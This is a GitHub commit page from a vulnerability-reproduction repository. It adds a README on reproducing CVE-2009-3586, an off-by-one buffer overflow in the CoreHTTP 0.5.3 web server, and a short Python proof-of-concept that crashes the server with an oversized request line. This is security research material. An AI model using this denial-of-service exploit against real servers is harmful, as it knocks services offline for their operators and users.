forked from mudongliang/LinuxFlaw
-
Notifications
You must be signed in to change notification settings - Fork 50
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
5024b94
commit 45e7649
Showing
3 changed files
with
75 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,19 +1,51 @@ | ||
# CVE/EDB ID | ||
# CVE-2009-3586 | ||
|
||
## Experiment Environment | ||
|
||
|
||
|
||
## INSTALL & Configuration | ||
|
||
``` | ||
wget https://github.com/mudongliang/source-packages/raw/master/CVE-2009-3586/corehttp-0.5.3-patched.tar.gz | ||
tar -xvf corehttp-0.5.3-patched.tar.gz; | ||
cd corehttp/src; | ||
make; | ||
``` | ||
|
||
## Problems in Installation & Configuration | ||
|
||
1. Change the absolute path in chttp.conf; | ||
2. Use the patched version of corehttp(remove daemon mode and disable segment fault handler); | ||
|
||
## How to trigger vulnerability | ||
|
||
Server: | ||
|
||
``` | ||
./src/corehttp ./chttp.conf | ||
``` | ||
|
||
Client: | ||
|
||
``` | ||
python poc.py localhost 5555 | ||
``` | ||
|
||
## PoCs | ||
|
||
[CoreHTTP Web server 0.5.3.1 - Off-by-One Buffer Overflow](https://www.exploit-db.com/exploits/10349/) | ||
|
||
[Corehttp 'src/http.c ' Buffer Overflow Vulnerability](https://www.securityfocus.com/bid/37237/exploit) | ||
|
||
## Vulnerability Details & Patch | ||
|
||
### Root Cause | ||
|
||
### Stack Trace | ||
|
||
### Patch | ||
|
||
## References |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
#!/usr/bin/env python | ||
# corex.py -- Patroklos Argyroudis, argp at domain census-labs.com | ||
# | ||
# Denial of service exploit for CoreHTTP web server version <= 0.5.3.1: | ||
# | ||
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3586 | ||
# | ||
# For a detailed analysis see: | ||
# | ||
# http://census-labs.com/news/2009/12/02/corehttp-web-server/ | ||
|
||
import os | ||
import sys | ||
import socket | ||
|
||
def main(argv): | ||
argc = len(argv) | ||
|
||
if argc != 3: | ||
print "usage: %s <host> <port>" % (argv[0]) | ||
sys.exit(0) | ||
|
||
host = argv[1] | ||
port = int(argv[2]) | ||
|
||
print "[*] target: %s:%d" % (host, port) | ||
|
||
payload = "A" * 257 + "/index.html HTTP/1.1\r\n\r\n" | ||
|
||
print "[*] payload: %s" % (payload) | ||
|
||
sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
sd.connect((host, port)) | ||
sd.send(payload) | ||
sd.close() | ||
|
||
if __name__ == "__main__": | ||
main(sys.argv) | ||
sys.exit(0) | ||
|
||
# EOF |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters